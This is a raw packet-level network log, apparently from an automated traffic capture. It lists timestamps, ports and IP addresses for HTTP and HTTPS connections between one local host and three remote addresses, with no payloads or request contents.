Aug 21, 2024 08:32:14.281012058 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.281016111 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.281029940 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.281038046 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.281058073 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.281080008 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.281548023 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.281559944 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.281569958 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.281579971 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.281595945 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.281600952 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.281606913 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.281616926 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.281625986 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.281627893 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.281636953 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.281650066 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.281651020 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.281662941 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.281671047 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.281672955 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.281683922 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.281687021 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.281694889 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.281706095 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.281718969 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.281721115 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.281730890 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.281743050 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.281749010 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.281753063 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.281764030 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.281775951 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.281776905 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.281786919 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.281794071 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.281796932 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.281822920 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.281855106 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.282111883 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.282155991 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.282294035 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.282305002 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.282318115 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.282329082 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.282339096 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.282342911 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.282349110 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.282360077 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.282370090 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.282373905 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.282381058 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.282391071 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.282394886 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.282402039 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.282412052 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.282422066 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.282422066 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.282433987 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.282439947 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.282450914 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.282461882 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.282490969 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.282521009 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.303833008 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.303975105 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.304045916 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.304056883 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.304066896 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.304076910 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.304086924 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.304095984 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.304105043 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.304110050 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.304121971 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.304160118 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.304160118 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.304167032 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.304178953 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.304188967 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.304205894 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.304207087 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.304244041 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.304275036 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.304721117 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.304760933 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.304775000 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.304780006 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.304811954 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.304811954 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.304876089 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.304887056 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.304897070 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.304905891 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.304924011 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.304965973 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.304965973 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.304997921 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.305008888 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.305018902 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.305041075 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.305073977 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.305567980 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.305613041 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.305620909 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.305623055 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.305665970 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.305665970 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.305700064 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.305711031 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.305721045 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.305732012 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.305747986 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.305777073 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.305870056 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.305881977 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.305900097 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.305910110 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.305922985 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.305958986 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.305958986 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.306561947 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.306596994 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.306607008 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.306613922 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.306647062 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.306648970 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.306663036 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.306698084 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.306719065 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.306730986 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.306740999 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.306751966 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.306771040 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.306807995 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.306807995 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.306850910 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.306863070 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.306873083 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.306909084 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.306946039 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.307476997 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.307524920 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.307528019 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.307535887 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.307569027 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.307600975 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.307607889 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.307620049 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.307634115 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.307645082 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.307653904 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.307686090 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.307686090 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.343199015 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.343220949 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.343231916 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.343241930 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.343252897 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.343338966 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.343349934 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.343363047 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.343373060 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.343372107 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.343384027 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.343389988 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.343396902 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.343411922 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.343450069 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.343457937 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.343498945 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.344115019 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.344173908 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.363506079 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.363574028 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.363579988 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.363584995 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.363651037 CEST	443	49725	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:14.363702059 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.363764048 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.363764048 CEST	49725	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:14.363765955 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.363769054 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.363780022 CEST	443	49725	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:14.363794088 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.363826036 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.363861084 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.363867044 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.363877058 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.363883018 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.363897085 CEST	49725	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:14.363907099 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.363928080 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.364033937 CEST	49725	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:14.364041090 CEST	443	49725	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:14.364068031 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.364073992 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.364078999 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.364083052 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.364089012 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.364093065 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.364104986 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.364110947 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.364115953 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.364156961 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.364156961 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.364173889 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.365065098 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365071058 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365081072 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365086079 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365091085 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365103960 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365109921 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365119934 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365125895 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365130901 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365138054 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.365176916 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.365345955 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365351915 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365355968 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365366936 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365380049 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365385056 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365395069 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365398884 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.365401983 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365406990 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365411997 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365417004 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365420103 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.365457058 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.365622044 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365628958 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365667105 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.365691900 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.365768909 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365778923 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365792036 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365797043 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365806103 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365812063 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365817070 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365827084 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.365838051 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365844011 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365854979 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365859985 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365865946 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365865946 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.365876913 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365881920 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365886927 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365890026 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.365927935 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.365945101 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.365953922 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365959883 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365971088 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365976095 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365987062 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.365992069 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.366003036 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.366008043 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.366010904 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.366027117 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.366056919 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.366545916 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.366553068 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.366558075 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.366563082 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.366617918 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.366682053 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.366687059 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.366698027 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.366702080 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.366707087 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.366713047 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.366755962 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.366780043 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.366812944 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.366818905 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.366828918 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.366835117 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.366846085 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.366851091 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.366862059 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.366867065 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.366875887 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.366880894 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.366884947 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.366900921 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.366906881 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.366913080 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.366919041 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.366924047 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.366926908 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.366930962 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.366935968 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.366940975 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.366951942 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.366965055 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.367012024 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.367604971 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.367616892 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.367623091 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.367628098 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.367634058 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.367639065 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.367644072 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.367652893 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.367659092 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.367660999 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.367670059 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.367675066 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.367680073 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.367686033 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.367697954 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.367717028 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.367752075 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.394104004 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.394160986 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.394165039 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.394188881 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.394231081 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.394242048 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.394247055 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.394254923 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.394257069 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.394278049 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.394313097 CEST	49720	80	192.168.2.6	147.45.44.104
